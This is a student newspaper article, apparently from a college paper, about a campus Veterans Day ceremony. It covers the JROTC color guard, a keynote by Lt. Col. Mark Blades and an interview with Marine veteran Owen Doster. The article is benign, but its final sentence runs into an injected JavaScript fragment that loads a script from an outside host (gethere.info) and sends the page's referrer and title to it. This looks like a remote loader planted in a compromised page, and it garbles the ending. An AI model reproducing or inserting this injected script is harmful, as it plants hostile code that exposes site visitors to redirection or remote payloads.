Honoring Our Nation’s Finest

CAC holds celebration for Veterans Day

Casa Grande Union High School’s JROTC Color Guard

Kamille Ritchie, Cactus Writer

Gratitude fills the brisk November air as CAC and our extended community come together, to honor our men and women who served, during this year’s Veteran’s Day celebration at Signal Peak.

As soon as the clock rolled over to eleven, Luis Vega, the Director of Admissions and Recruitment, took the podium. Following his opening speech, Casa Grande Union High School’s JROTC (Junior Reserve Officer Training Corps) students conducted the presentation of Colors. It was interesting to see the composure these cadets embodied as they proceeded through the ceremony; although they are young, they’re so disciplined. As they left the plaza, the phrase, “I pledge allegiance to the flag…” broke the trance I was in. As I looked around, I noticed people with their hands over their hearts. Quickly, I mimicked their actions.

Next, brassy notes of a trumpet sang what was immediately recognizable as the National Anthem. It was easy to spot the veterans in the crowd, as they stood backs straight, saluting. As the familiar tune rang in my ear, I was brought back to memories of my grandfather, who served in the Navy for over 17 years. I covered this event because of him, in hopes I would feel close to him once more.

Once again, Mr. Vega took to the podium to introduce Robin Morris, a retired member of the Air Force, who then introduced our keynote speaker, Lieutenant Colonel, Mark Blades. He spoke of his life from childhood to present day. While some people find interest in the military later in life, Lit. Col. Blades found his early. Coming from a service family, a lot of the films he watched as a child featured elements of war, and the military caught his attention. As he grew, he lost interest once he got to high school. It was not until he was married, a father, and in college that his interest returned. He enlisted in the Marine Corps for what he thought would be 4 years, but instead turned into a career of 24, from 1978 to 2002. He served actively in the post Gulf Wars, mainly in the Southern no-fly zone. Although it was difficult for his family to adjust to the sudden, strict change, they managed.

Although the event was short, it sparked inspiration and motivation in my heart. I had the opportunity to not only interact with Lit. Col. Blades, but also fellow Marine Corps veteran, Owen Doster. The Marine Corps emblem sewn into his worn jacket caught my attention, I knew I had to talk to him. Following the ceremony, I found him congratulating Union’s JROTC for their treatment of the presentation of Colors. Although very nervous, I sucked it up and addressed the towering man. He had this air of control that I prayed I mimicked. Also coming from a service family, his father having served in WWII, he always knew he would serve in the military. He turned out to be a dignified but kind man. He served in the Corps from 1955 to 1959.

From what I can tell, the veterans in the crowd appreciated the ceremony. “I think it’s outstanding for the school to recognize their veterans,” says Blades. “It’s not the size of the ceremony, it’s the meaning behind it.”

Although these men share the honor of being called a Marine, they’re different in many ways. Each man prides themselves on different things. For Blades, the comradery he encountered while serving is what he felt pride in. “Knowing you can trust these people, knowing they have your back, was the greatest experience going through.”

The Marine Corps’ “discreet decorum” is what Doster prides himself on. “No other unit in the world has it. It has lasted me for 70 years now.” While they are different, they share similar advice to those who wish to enlist. “Think really hard about it,” Blades stresses. “Think about what you’re going to do. Each service does something different.” Despite that warning, he feels we should serve our nation to some capacity. Doster agrees, adding, “They would not only earn a skill, but also learn something about their country they might not be aware of.”

It’s not every day you get to interact with interesting people, or people you wouldn’t interact with on a regular basis. I salute those men and women who serve, and have served this nation. And to those overseas, or perhaps across the country, I pray you return safely to join us next year. Happy Veterans Day!s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;